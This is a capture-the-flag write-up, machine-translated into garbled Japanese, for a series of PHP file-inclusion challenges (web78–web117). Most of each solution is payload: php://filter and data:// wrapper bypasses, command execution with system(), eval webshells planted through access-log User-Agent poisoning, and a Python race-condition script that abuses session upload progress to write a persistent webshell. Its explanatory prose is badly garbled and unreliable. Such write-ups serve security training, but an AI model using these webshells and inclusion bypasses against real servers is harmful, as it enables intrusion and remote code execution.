web78
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
ソリューション
疑似プロトコル
file=php://filter/convert.base64-encode/resource=flag.php
データプロトコル
c=data://text/plain,<?php system('tac fla?.php');?>
web79
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解決策:
php 文字を ??? に置き換えます
1. データ プロトコル
file=data://text/plain,<?=system('tac fl*');?>
二、殻を通す
file=data://text/plain,<?=eval($_POST[1]);?>
POST 1=phpinfo();
web80
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
ソリューション
データが置き換えられます
ログ ファイルのアドレス
/var/log/nginx/access.log
ユーザーエージェントの挿入
<?php eval($_POST[1]);?>
web81
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解決策
%0a は UA でデコードされませんが、ブラウザーで
置き換えることができます 、またはログ ファイル
UA を使用して <?= eval($_POST[1]);?>
Ant Sword を渡し、シェルに接続します
web82
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
Solution
Filtered. サフィックスのないファイルを含める必要があります.
ファイルのインクルードとデシリアライゼーションには session.upload_progress を使用してください. ペネトレーションは、
PHP でサフィックスのない唯一の制御可能なセッションです.
制御ファイル名/tmp/sess_aaa
制御ファイルの内容PHP_SESSION_UPLOAD_PROGRESS
PHP_SERRSION_UPLOAD_PROGRESS を使用して、内容を /tmp/sess_aaa ファイル
グループに書き込みます師匠から渡された台本、よくわからなかった。
import requests
import io
import threading
url='http://93a5ba3f-7aea-4855-8fa3-5ecc6311ef67.challenge.ctf.show/'
sessionid='ctfshow'
proxy={
'http':'127.0.0.1:8080'}
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');"
}
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'1.php');
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
うーん... bpパケットキャプチャを試みました...結果はまだできません...
web83-web86
問題解決
方法 同上
web87
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
file_put_contentの解決方法とデスとハイブリッド コード
の関係他のツールを使用して完全なコンパイルをコンパイルします
file=php://filter/write=string.rot13/resource=1.php
//进行两次URL全编译
file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
file=php://filter/write=string.rot13/resource=1.php
php://filter伪协议名称write=string.rot13过滤器通道 将传入的1.php的字母进行13位平移(凯撒加密,移动13位)
原稿をずらすことで<?php die('見せびらかすな');?>なる<?cuc qvr('見せびらかすな');?>
POST content=<?php system('tac f*.php');?>
content=<?cuc flfgrz('gnp s*.cuc');?>
web88
トピック
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
ソリューション
ここでは、データ プロトコルを使用して、フィルタ文字なしでコマンド
ペイロードを構築します。
file=data://text/plain;base64,<?php system('tac f*.php');
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7
web116
問題の解決方法
ファイルをダウンロードして、pngファイルを分離するのが一番です。
色々とフィルタリングしてきました・・・基本的には全てフィルタリング済みです
が、file_get_contentsを使ってfile=flag.phpを直接入力し、view-sourceでWebページのソースコードを表示し、パケットのキャプチャもできます。
web117
トピック
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
PHPz でサポートされている文字エンコーディングの解決方法
新しく学んだ Sao の姿勢このように
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
コンテンツ内のコンテンツはwrite のフィルターでフィルター処理され、コードはフィルター処理されて乱され、バイパスを実現します注:これは前の 2 つの文字を交互にすることですその後 (abcd ==>badc)convert.iconv.UCS-2LE.UCS-2BE
<?php die();?>
convert.iconv.UCS-2LE.UCS-2BE
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST contents=?<hp pvela$(P_SO[T]1;)>?